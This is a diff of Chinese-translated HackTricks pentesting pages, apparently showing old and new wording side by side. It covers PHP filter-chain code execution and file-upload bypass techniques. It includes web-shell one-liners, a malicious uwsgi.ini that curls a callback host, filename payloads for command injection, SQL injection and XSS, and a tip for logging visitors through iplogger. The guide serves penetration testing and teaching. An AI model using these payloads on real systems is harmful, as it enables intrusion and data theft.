脚本的目标是**在文件的开头生成一个 Base64 字符串**,该字符串最终会被**解码**,从而提供希望的负载,该负载将被 `include` **解释执行**。
|
||||
|
||||
- `convert.iconv.UTF8.CSISO2022KR` 将始终在字符串前添加 `\x1b$)C`
|
||||
- `convert.base64-decode` 对无效的 base64 字符极其宽容。它基本上会忽略任何无效的 base64 字符。如果遇到意外的 "=" 会有一些问题,但可以通过 `convert.iconv.UTF8.UTF7` 过滤器去除。
|
||||
实现这一点的基础是:
|
||||
|
||||
生成任意内容的循环是:
|
||||
- `convert.iconv.UTF8.CSISO2022KR` 总是会在字符串前加上 `\x1b$)C`
|
||||
- `convert.base64-decode` 非常容错,它基本上会忽略任何不是有效 base64 的字符。如果遇到意外的 "=" 会有一些问题,但这些可以通过 `convert.iconv.UTF8.UTF7` 过滤器移除。
|
||||
|
||||
1. 按照上述描述在我们的字符串前添加 `\x1b$)C`
|
||||
2. 应用一些 iconv 转换链,使我们的初始 base64 保持不变,并将我们刚刚添加的部分转换为只有下一个部分的有效 base64 字符的字符串
|
||||
3. 对字符串进行 base64 解码和编码,这将去除中间的任何垃圾
|
||||
4. 如果我们想构造的 base64 还没有完成,则返回第 1 步
|
||||
5. 进行 base64 解码以获取我们的 php 代码
|
||||
生成任意内容的循环如下:
|
||||
|
||||
1. 如上所述,在我们的字符串前添加 `\x1b$)C`
|
||||
2. 应用一系列 iconv 转换,使我们最初的 base64 保持不变,并将刚刚添加的部分转换为一个字符串,其中唯一有效的 base64 字符就是我们 base64 编码的 php 代码的下一部分
|
||||
3. 对字符串进行 base64-decode 然后 base64-encode,这会移除中间的任何垃圾字符
|
||||
4. 如果我们要构造的 base64 还没完成,则返回第 1 步
|
||||
5. base64-decode 来得到我们的 php 代码
|
||||
|
||||
> [!WARNING]
|
||||
> **包含** 通常会在文件末尾 **附加 ".php"**,这可能会使利用变得困难,因为你需要找到一个内容不会破坏利用的 .php 文件……或者你 **可以直接使用 `php://temp` 作为资源**,因为它可以 **在名称中附加任何内容**(例如 +".php"),并且仍然允许利用工作!
|
||||
> **Includes** 通常会做诸如**在文件末尾附加 ".php"**之类的操作,这可能会使利用变得困难,因为你需要找到一个 .php 文件,其内容不会破坏该利用……或者你**可以直接使用 `php://temp` 作为资源**,因为它可以**在名称中附加任意内容**(例如 +".php"),并且仍然允许利用生效!
|
||||
|
||||
## 如何将后缀添加到结果数据
|
||||
## 如何向生成的数据添加后缀
|
||||
|
||||
[**这篇写作解释了**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) 如何仍然滥用 PHP 过滤器为结果字符串添加后缀。这在你需要输出具有特定格式(如 json 或许添加一些 PNG 魔术字节)时非常有用。
|
||||
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) 说明了你如何仍然滥用 PHP filters 来向结果字符串添加后缀。当你需要输出具有特定格式时(例如 json 或添加一些 PNG magic bytes),这非常有用。
|
||||
|
||||
## 自动工具
|
||||
## 自动化工具
|
||||
|
||||
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
|
||||
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(可以添加后缀)**
|
||||
- https://github.com/synacktiv/php_filter_chain_generator
|
||||
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(可以添加后缀)**
|
||||
|
||||
## 完整脚本
|
||||
```python
|
||||
@ -93,9 +94,9 @@ r = requests.get(url, params={
|
||||
|
||||
print(r.text)
|
||||
```
|
||||
### 改进
|
||||
### Improvements
|
||||
|
||||
之前的脚本仅限于该有效负载所需的 base64 字符。因此,我创建了自己的脚本来 **暴力破解所有 base64 字符**:
|
||||
之前的脚本仅限于该 payload 所需的 base64 字符。因此,我编写了自己的脚本来 **bruteforce 所有 base64 字符**:
|
||||
```php
|
||||
conversions = {
|
||||
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
|
||||
@ -164,7 +165,7 @@ conversions = {
|
||||
'=': ''
|
||||
}
|
||||
```
|
||||
这里是**脚本**,用于获取生成每个 b64 字母的编码:
|
||||
下面是用于获取可生成每个 b64 字符的**脚本**:
|
||||
```php
|
||||
<?php
|
||||
|
||||
@ -250,6 +251,10 @@ find_vals($init);
|
||||
}
|
||||
?>
|
||||
```
|
||||
## 更多参考
|
||||
## 更多参考资料
|
||||
|
||||
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it
|
||||
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 文件上传一般方法论
|
||||
## 文件上传 常规方法
|
||||
|
||||
其他有用的扩展名:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **在PHPv8中工作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
- **在 PHPv8 中工作**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
@ -17,11 +17,11 @@
|
||||
|
||||
### 绕过文件扩展名检查
|
||||
|
||||
1. 如果适用,**检查** **之前的扩展名**。也可以使用一些**大写字母**进行测试:_pHp, .pHP5, .PhAr ..._
|
||||
2. _检查**在执行扩展名之前添加有效扩展名**(也使用之前的扩展名):_
|
||||
1. 如果适用,**检查**之前列出的**扩展名**。也要用一些**大小写混合**来测试它们: _pHp, .pHP5, .PhAr ..._
|
||||
2. _尝试在执行扩展之前添加一个有效扩展(也可使用前面提到的扩展):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. 尝试在末尾添加**特殊字符**。可以使用Burp来**暴力破解**所有**ascii**和**Unicode**字符。(_注意你也可以尝试使用**之前**提到的**扩展名**_)
|
||||
3. 尝试在结尾添加**特殊字符**。可以使用 Burp 去**暴力测试**所有的 **ascii** 和 **Unicode** 字符。(_注意:你也可以尝试使用之前提到的那些**扩展名**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. 尝试通过**欺骗服务器端的扩展解析器**来绕过保护,使用**双重**扩展名或在扩展名之间**添加垃圾**数据(**null**字节)。_你也可以使用**之前的扩展名**来准备更好的有效载荷。_
|
||||
4. 尝试通过**欺骗服务器端的扩展名解析器**来绕过防护,例如**双写扩展**或在扩展之间**添加垃圾数据(null 字节)**。_你也可以使用之前列出的扩展名来构造更好的 payload。_
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,75 +40,75 @@
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. 在之前的检查中添加**另一层扩展名**:
|
||||
5. 为前面的检查**再添加一层扩展**:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. 尝试将**exec扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(对利用Apache配置错误很有用,任何带有扩展名** _**.php**_**的文件,但**不一定以.php结尾**将执行代码):
|
||||
- _例如: file.php.png_
|
||||
7. 在**Windows**中使用**NTFS备用数据流(ADS)**。在这种情况下,冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此,服务器上将创建一个**带有禁止扩展名的空文件**(例如“file.asax:.jpg”)。该文件可以使用其他技术进行编辑,例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此,在此模式后添加点字符也可能有助于绕过进一步的限制(例如“file.asp::$data.”)
|
||||
8. 尝试打破文件名限制。有效扩展名被截断,恶意PHP被保留。AAA<--SNIP-->AAA.php
|
||||
6. 尝试把**可执行扩展放在有效扩展之前**并希望服务器配置错误。 (useful to exploit Apache misconfigurations where anything with extension** _**.php**_**, but** not necessarily ending in .php** will execute code):
|
||||
- _ex: file.php.png_
|
||||
7. 在 **Windows** 上使用 **NTFS alternate data stream (ADS)**。在这种情况下,会在被禁止的扩展之后和允许的扩展之前插入一个冒号字符 ":"。结果会在服务器上创建一个带有被禁止扩展的**空文件**(例如 "file.asax:.jpg")。随后可能通过短文件名等技术对该文件进行编辑。模式 "**::$data**” 也可以用来创建非空文件。因此,在该模式后添加一个点字符也可能有助于绕过进一步的限制(例如 "file.asp::$data.")
|
||||
8. 尝试突破文件名长度限制。有效扩展被截断,恶意的 PHP 得以保留。 AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux最大255字节
|
||||
# Linux maximum 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4并添加.png
|
||||
# 上传文件并检查响应允许多少个字符。假设236
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
# Upload the file and check response how many characters it alllows. Let's say 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# 制作有效载荷
|
||||
# Make the payload
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### 绕过内容类型、魔术数字、压缩和调整大小
|
||||
### 绕过 Content-Type、Magic Number、压缩与缩放
|
||||
|
||||
- 通过将**Content-Type** **header**的**值**设置为:_image/png_ , _text/plain , application/octet-stream_来绕过**Content-Type**检查。
|
||||
- 通过将请求头的 **Content-Type** 值设置为: _image/png_ , _text/plain , application/octet-stream_ 来绕过 **Content-Type** 检查。
|
||||
1. Content-Type **字典**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- 通过在文件开头添加**真实图像的字节**(混淆_file_命令)来绕过**魔术数字**检查。或者在**元数据**中引入shell:\
|
||||
- 通过在文件开头添加一个真实图片的**字节**(混淆 `file` 命令)来绕过 **magic number** 检查。或者将 web shell 放入图片的**元数据**中:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` 或者你也可以**直接在图像中引入有效载荷**:\
|
||||
`\` 或者你也可以**直接把 payload 写入图片**:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- 如果**压缩被添加到你的图像中**,例如使用一些标准的PHP库如[PHP-GD](https://www.php.net/manual/fr/book.image.php),那么之前的技术将无效。然而,你可以使用**PLTE块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
|
||||
- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- 网页也可能在**调整图像大小**,例如使用PHP-GD函数`imagecopyresized`或`imagecopyresampled`。然而,你可以使用**IDAT块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
|
||||
- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- 另一种制作**在图像调整大小中存活的有效载荷**的技术,使用PHP-GD函数`thumbnailImage`。然而,你可以使用**tEXt块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
|
||||
- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
- 如果你的图片在上传后会被压缩(例如使用一些标准的 PHP 库如 [PHP-GD](https://www.php.net/manual/fr/book.image.php)),上面的技术可能不起作用。然而,你可以使用 **PLTE chunk** [**此处定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 将一些文本插入进去,从而**在压缩后仍能存活**。
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- 页面也可能在处理时对图片进行**缩放**,例如使用 PHP-GD 的 `imagecopyresized` 或 `imagecopyresampled`。不过你可以使用 **IDAT chunk** [**此处定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本,从而**在压缩/缩放后仍能存活**。
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- 另一个让 payload **在图片缩小后仍能存活** 的技术,针对 PHP-GD 的 `thumbnailImage`。你可以使用 **tEXt chunk** [**此处定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入文本,从而**在压缩/缩放后仍能存活**。
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### 其他检查技巧
|
||||
### 其他需要检查的技巧
|
||||
|
||||
- 找到一个**重命名**已上传文件的漏洞(以更改扩展名)。
|
||||
- 找到一个**本地文件包含**漏洞以执行后门。
|
||||
- 寻找可以**重命名(rename)**已上传文件的漏洞(以改变扩展名)。
|
||||
- 寻找 **Local File Inclusion** 漏洞以执行后门。
|
||||
- **可能的信息泄露**:
|
||||
1. 上传**多次**(并且在**同一时间**)相同名称的**相同文件**
|
||||
2. 上传一个**已经存在**的**文件**或**文件夹**的**名称**的文件
|
||||
3. 上传一个**“.”、 “..”或“…”作为其名称**的文件。例如,在Apache的**Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,“.”文件名将创建一个名为“uploads”的文件在“/www/”目录中。
|
||||
4. 上传一个可能不容易被删除的文件,例如**“…:.jpg”**在**NTFS**中。(Windows)
|
||||
5. 在**Windows**中上传一个带有**无效字符**的文件,例如`|<>*?”`作为其名称。(Windows)
|
||||
6. 在**Windows**中上传一个使用**保留**(**禁止**)**名称**的文件,例如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8和LPT9。
|
||||
- 还可以尝试**上传一个可执行文件**(.exe)或一个**.html**(不太可疑)文件,当受害者意外打开时**将执行代码**。
|
||||
1. 多次(并且同时)上传**相同名字**的**同一个文件**
|
||||
2. 上传一个名称与已有**文件**或**目录**相同的文件
|
||||
3. 上传名为 `"."`, `".."`, 或 `"…"` 的文件。例如,在 Windows 的 Apache 中,如果应用将上传文件保存到 "/www/uploads/" 目录,名为 "." 的文件会在 "/www/" 目录下创建一个名为 "uploads" 的文件。
|
||||
4. 上传一个在 NTFS 中不易删除的文件,例如 **"…:.jpg"**。(Windows)
|
||||
5. 在 Windows 中上传带有非法字符(如 `|<>*?”`)的文件名。(Windows)
|
||||
6. 在 Windows 中使用保留(禁止)名称上传文件,例如 CON、PRN、AUX、NUL、COM1 … COM9、LPT1 … LPT9。
|
||||
- 也可以尝试上传一个可执行文件(.exe)或一个 .html(更不显眼),以便当受害者意外打开时执行代码。
|
||||
|
||||
### 特殊扩展名技巧
|
||||
### 特殊扩展技巧
|
||||
|
||||
如果你尝试将文件上传到**PHP服务器**, [查看**.htaccess**技巧以执行代码](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
|
||||
如果你尝试将文件上传到**ASP服务器**, [查看**.config**技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
|
||||
如果你试图向 **PHP server** 上传文件,查看 **.htaccess** 的技巧以执行代码:[https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
如果你试图向 **ASP server** 上传文件,查看使用 **.config** 文件执行代码的技巧:../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files
|
||||
|
||||
`.phar`文件类似于Java的`.jar`,但用于PHP,可以**像PHP文件一样使用**(通过PHP执行或在脚本中包含它...)
|
||||
`.phar` 文件类似于 Java 的 `.jar`,但用于 php,可以**像 php 文件一样被使用**(通过 php 执行,或包含到脚本中...)
|
||||
|
||||
`.inc`扩展名有时用于仅用于**导入文件**的PHP文件,因此,在某些时候,可能有人允许**此扩展名被执行**。
|
||||
`.inc` 扩展有时用于仅用于**导入(include)**的 php 文件,因此有时可能被允许**执行**。
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
如果你可以将XML文件上传到Jetty服务器,你可以获得[RCE,因为**新的\*.xml和\*.war会被自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 所以,如下图所示,将XML文件上传到`$JETTY_BASE/webapps/`并期待shell!
|
||||
如果你能向 Jetty server 上传一个 XML 文件,你可以获得 [RCE,因为新的 \*.xml 和 \*.war 会被自动处理](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 如下图所示,将 XML 文件上传到 `$JETTY_BASE/webapps/` 并期待 shell!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
有关此漏洞的详细探索,请查看原始研究:[uWSGI RCE利用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
|
||||
对于该漏洞的详细研究请参阅原始研究: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
|
||||
|
||||
如果能够修改`.ini`配置文件,则可以在uWSGI服务器中利用远程命令执行(RCE)漏洞。uWSGI配置文件利用特定语法来包含“魔术”变量、占位符和运算符。值得注意的是,`@`运算符,作为`@(filename)`使用,旨在包含文件的内容。在uWSGI支持的各种方案中,“exec”方案特别强大,允许从进程的标准输出读取数据。当处理`.ini`配置文件时,可以利用此功能进行恶意目的,例如远程命令执行或任意文件写入/读取。
|
||||
如果可以修改 `.ini` 配置文件,uWSGI server 上可能会发生远程命令执行(RCE)。uWSGI 配置文件使用特定语法来包含“magic”变量、占位符和操作符。值得注意的是,'@' 操作符(以 `@(filename)` 形式使用)用于包含文件内容。在 uWSGI 支持的多种 scheme 中,"exec" scheme 非常强大,它允许从进程的标准输出读取数据。当 `.ini` 配置文件被处理时,该特性可能被滥用以实现 Remote Command Execution 或 Arbitrary File Write/Read。
|
||||
|
||||
考虑以下有害的`uwsgi.ini`文件示例,展示各种方案:
|
||||
考虑下面这个有害的 `uwsgi.ini` 文件示例:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -126,14 +126,21 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
在解析配置文件时会执行有效载荷。为了激活和解析配置,uWSGI 进程必须重新启动(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。自动重载功能(如果启用)会在检测到更改时以指定的时间间隔重新加载文件。
|
||||
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
|
||||
|
||||
理解 uWSGI 配置文件解析的宽松性质至关重要。具体来说,讨论的有效载荷可以插入到二进制文件中(例如图像或 PDF),进一步扩大潜在利用的范围。
|
||||
payload 的执行发生在配置文件被解析期间。要使配置被激活并解析,uWSGI 进程必须被重启(可能是在崩溃之后或由于 Denial of Service attack),或者该文件必须设置为 auto-reload。如果启用了 auto-reload 功能,检测到更改后会在指定的时间间隔重新加载该文件。
|
||||
|
||||
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
|
||||
|
||||
理解 uWSGI 对配置文件解析的宽松特性至关重要。具体来说,上述 payload 可以被插入到二进制文件中(例如 image 或 PDF),从而进一步扩大潜在利用的范围。
|
||||
|
||||
## **wget 文件上传/SSRF 技巧**
|
||||
|
||||
在某些情况下,您可能会发现服务器使用 **`wget`** 来 **下载文件**,并且您可以 **指示** **URL**。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保仅下载允许的文件。然而,**此检查可以被绕过。**\
|
||||
在 **linux** 中,**文件名**的 **最大** 长度为 **255**,但是 **wget** 会将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget` 会将文件重命名为 **"A"\*232+".php"**。
|
||||
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**\
|
||||
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
|
||||
|
||||
在某些情况下,你可能会发现服务器使用 **`wget`** 来 **下载文件**,并且你可以指明 **URL**。在这些情况下,代码可能会检查被下载文件的扩展名是否在白名单内,以确保只会下载允许的文件。然而,**该检查可以被绕过。**\
|
||||
在 **linux** 中,**文件名** 的最大长度是 **255**,然而,**wget** 会将文件名截断为 **236** 个字符。你可以 **download a file called "A"\*232+".php"+".gif"**,这个文件名将会 **绕过** 该 **检查**(在此例中 **".gif"** 是一个 **有效** 的扩展),但 `wget` 会 **重命名** 该文件为 **"A"\*232+".php"**。
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -156,63 +163,68 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
注意,您可能考虑的**另一个选项**是使**HTTP服务器重定向到不同的文件**,这样初始URL将绕过检查,然后wget将下载重定向的文件并使用新名称。这**不会工作**,**除非**wget与**参数**`--trust-server-names`一起使用,因为**wget将下载重定向页面,并使用原始URL中指示的文件名**。
|
||||
注意,**另一个选项**(你可能在想的)绕过此检查的方法是让 **HTTP server 重定向到不同的文件**,这样初始 URL 会绕过检查,然后 wget 会下载被重定向后的新名字文件。除非使用了参数 `--trust-server-names`,否则这**不会起作用**,因为 **wget 会使用原始 URL 中指示的文件名来下载被重定向的页面**。
|
||||
|
||||
## 工具
|
||||
## Tools
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具,旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术简化识别和利用漏洞的过程,确保对Web应用程序进行全面评估。
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具,旨在帮助 Pentesters 和 Bug Hunters 测试 file upload mechanisms。它利用多种 bug bounty 技巧来简化识别和利用漏洞的过程,确保对 web applications 进行全面评估。
|
||||
|
||||
## 从文件上传到其他漏洞
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
|
||||
- 将**filename**设置为`../../../tmp/lol.png`并尝试实现**路径遍历**
|
||||
- 将**filename**设置为`sleep(10)-- -.jpg`,您可能能够实现**SQL注入**
|
||||
- 将**filename**设置为`<svg onload=alert(document.domain)>`以实现XSS
|
||||
- 将**filename**设置为`; sleep 10;`以测试一些命令注入(更多[命令注入技巧在这里](../command-injection.md))
|
||||
- [**XSS**在图像(svg)文件上传中](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS**文件**上传** + **XSS** = [**服务工作者**利用](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE在svg上传中**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**通过上传svg文件的开放重定向**](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- 尝试来自[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)的**不同svg有效负载**
|
||||
- [著名的**ImageTrick**漏洞](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- 如果您可以**指示Web服务器从URL捕获图像**,您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/index.html)。如果此**图像**将被**保存**在某个**公共**网站上,您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL并**窃取每个访问者的信息**。
|
||||
- [**XXE和CORS**绕过与PDF-Adobe上传](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- 特别制作的PDF以实现XSS:[以下页面展示如何**注入PDF数据以获得JS执行**](../xss-cross-site-scripting/pdf-injection.md)。如果您可以上传PDF,您可以准备一些将执行任意JS的PDF,按照给定的指示。
|
||||
- 上传\[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))内容以检查服务器是否有任何**防病毒**
|
||||
- 检查上传文件是否有任何**大小限制**
|
||||
一些使用 `snprintf()` 或类似函数从单文件上传构建多文件数组的遗留 upload handlers,可能会被欺骗以伪造 `_FILES` 结构。由于 `snprintf()` 行为的不一致性和截断,精心构造的单次上传可能在服务器端表现为多个索引文件,从而混淆假定严格形状(例如当作多文件上传并进入不安全分支)的逻辑。虽然今天这种情况较为冷门,但这种“索引损坏”模式偶尔会在 CTFs 和较旧的代码库中再次出现。
|
||||
|
||||
以下是通过上传可以实现的前10个事项(来自[这里](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
## From File upload to other vulnerabilities
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**:Webshell / RCE
|
||||
2. **SVG**:存储的XSS / SSRF / XXE
|
||||
3. **GIF**:存储的XSS / SSRF
|
||||
4. **CSV**:CSV注入
|
||||
5. **XML**:XXE
|
||||
6. **AVI**:LFI / SSRF
|
||||
7. **HTML / JS**:HTML注入 / XSS / 开放重定向
|
||||
8. **PNG / JPEG**:像素洪水攻击(DoS)
|
||||
9. **ZIP**:通过LFI / DoS的RCE
|
||||
